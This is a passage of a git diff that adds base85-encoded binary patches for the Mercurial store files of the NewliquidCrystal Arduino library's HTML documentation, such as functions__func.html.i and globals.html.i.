zbAIL*3C3?DjCe1r-n_Yb-l}nUC~dBzP3=OK2Gt9RI4W==H&f#vvm}kUKME$7c!%bf zBXKqgD$#Sm-}l5AHA!`r0p;4qh{+8Y86>ZJsk-Dz$z{(aI0GlZCtx#aKCocgoT6Z@ zL!EP>6)wiFS*zsMIn?sTM?l+H1ibSGkWauF5exwE!IwrjQl0`6{(#*x+c_Gm*yk7E zco$lLY*%<6I^6y${*ilTR^q6`G&f#0=`GtG3VWW5bRQ?}U0NT|^oovCXru%W2zpqVyP?qjeZ{sk{hZNEqIAf9&z+CmfW;IR# z$NQ`AFJ&Oz@Ox z)*eC*G*XgyGA)IhJPxv_;yrA?%JFQD#44(Oa?(SXd5vVZsP}atiW)QM=rM$dw{e!` zHz8A~ZafRYaKR}{{9=)ZZ&eLog9+e6aGFONW)A(hpqHs%AoR8ZyJ~;Tt|yLPO-V!I zlLpE3h~BjFk9E}o64saBpZ5mS$~W0Sv&=RY{FRmD3sbtCPB15AQWD^nq%wpvA_oA# z|F`{n`jPb%Sa2^_eHps%iTG)b@`XRR*b=uuy`GI1uKpjuy*zA7C`B0hfyE=Fl%HTk zwrBcYvv4SjXHtAKv zkN19*5w(|I;7UIeaQo7S`H4aatnP;|H)@{^nU7<(UPFD)j_d-BShu^`FN}UES)@== zk1O9qnIKzi^Q(?5S}W6R?hwc^h^JjM4xZj%}9Nm|jQ7`z`@$X-< zc{H@wyV8~BvDJBf>l})Z>9dO;ChP)ud=LUD%Bj7CSXL->3G1{Om~!ss&ZNi-E)q)L zhsKJWr^h@S36^TZQgf1%f005#vSp0s(tx(zwOwx3U0`5sg3XvwLee6ax4*!))Iyi$ZiVkZB|+@J1^mRDCfyM}AJf&o!fLRAE%Sl02wV<@o! z>WeJ5A$|NoGI9tdk$5%GGliM+R#$fxYGSvbg-Oz^qN?o-#xD%o`@YvnB!x$2QCOPa zF3^=B|FHWaQjF<@g83G#rSn-wI6tPe{i58{>UKe^_Lyz+QG~ysj`2**Qdj4(3TE^kdeM3n%x$m5J8)C9@aD4Eok>JkT(-^qc*>O7D=yC z!pB;$^obk~6T5q|vxQPwdL<@jiY1Ag&aSv*w4T@IedwgzPdQEtpF@^rYsG|;qB7r% zZXkPJrr@dfXBpiGi$kV`{?wOn)4U9aGXnOL*$&{@6LOyd8*a9USJOgS6=$`t2Rg6m z9lavXIxe4vr~k#%r;ON9`5tb<5Uw3t;wls)L*CUo`*~)2B_!U!3_amhW%=~NhWH1? z$>&>1-iRxMDK&iHT!-VHF6%mXTE*y*H*#-*3{xFLPOg_@SjKIE+3{!B9&r6W#zZ)6YEyL*1LCN%_x45 zuG7cVWvW%6hJD-W+H06tBbUbmQNhbXll-?h?*CED{HHxQ@M5NGUCnJB+Y!lSoiHGB z$KXZJea!i*{zvc$liPQ+(*(c!X~G2kKPJq0HOQ*2YM}|_zXwc^sU^t4((L~lFkLkn Gp#KFT2l~kX literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/functions__func.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/functions__func.html.i new file mode 100644 index 0000000000000000000000000000000000000000..57754e5b30e20ca9f01cd8ad172e2ba1d9582852 GIT binary patch literal 9457 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 F{2yz}^LzjR literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/globals.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/globals.html.i new file mode 100644 index 0000000000000000000000000000000000000000..75f23c9bb3a131fc9bbdb21d4e90e23f557862d0 GIT binary patch literal 11007 zcmZ8_1yEc~ur==P?(XhRaEFBe!QEYg1h?Ss?k>TC`{M5IuE8}t$ou}PSASQ{>E3%! z)z0lR(<30DAfO=s41pa4gqH7rV-TG8|7PFFue@%p1E~-yxBdR{Y7|txp}+8 zBqNNxV2|5VK`r_j*0z3w56!!qpGx4`rlh2lMO~9%R&eo_`=WC~R&;fCYFJ0HJRR)j z={1PCbt9g+M~y!h%YtBiTwa5UCqyJqs=WL#^=ghMn9cLXK`XCHu+b$S83=fD*}*ty zDGe4bts8Pu%k=K(;@MNgPQ*|_&DcyL{yDt9Wb^4|<& zeL_NySI{nR=T|5{*nSRwG31D6KB|NYE;S?!M?&7jQ>_8iJFN@QjTzn8YXIbInecPA6%6-Z%Ng2+=(TpRNakg?}`!zRGb*2ohaqUYtC zxa=5|cxJ;?nNM~Iy67Y_m38`M6`_+lC~)9mOAR4YO%jhNPLquMW8`N25KRl z`o1ZGy>8@}z3H48<%|oB;tnkcde-_N z+H-$j%!`_9@rkN{k#heGWhbtkO-lsLb=Gz*zU`M`X)aipy^$v+x}` zh>zk+st;i~-4}M|P00YLg6XC`bUtQ+qcl2JfeUQaDRT>RwIj;NMjT@bYiShZ<}wY> zDOAYE9NfnR!-|<>7_$tb6@dCFPj1DWdt^OzR>qCFE8ZEizz{lSxsz{1U)j=_5|Zi# zMk0p#S43mTvc;U=CPc+(6Ap#P;M-RWiWKHKgdKgFs%G3&nl7-H=LmR?%nfms>bXtm z$<}BPs1&GcWFH2}aMOO=z{I)N9t3NpGKPw1T(8R_hzQr6W%*ExZ z8(drJ>}`@Oe>=-f@2OgOsZ zEwR(llGQVuY4-l|)qC$82f6Dj{kX%DCYud=bXu%c&>WIj zE9wkCOqyird@ncpuc+8{Q41l;s$L_iL{70~Bry;2IXV|JF$wYpN)=x;PphEp6$s56 z6-liG**gs?cMbg%xwuHRyT0QeTxp^z(GYavh(%b^ERvMVxuJaT(`tZ7l@`n)l{k&y zuLBbM&DazQnN;K!Jn21sOr!MBY=LM$@k+EhE*QzMLL9?Fj!@iSr& z|NapA-PYc*%r6GdNoAKDV7P}g&w^JhE>x}h$9)^Ex`?Y9u@Xz?Y3(lR)LN7Uxzwot zSUsG7H+<3heZJFcReN5uVxj7MQ%^rNyJJOmd{RSDJ@);zPN z|L!FHMHlM?DAr-Oy?p#;DR&cu6b$>5x)F0`Ksyv*As^+~$jo}TX`gL5#(sK`)x|g9 zsJ?`(uDgsJdY8$3u*xaA1+}0~%FWkby}x2HVk070?O=I!J&}u0;htuPKYQMKj9udX 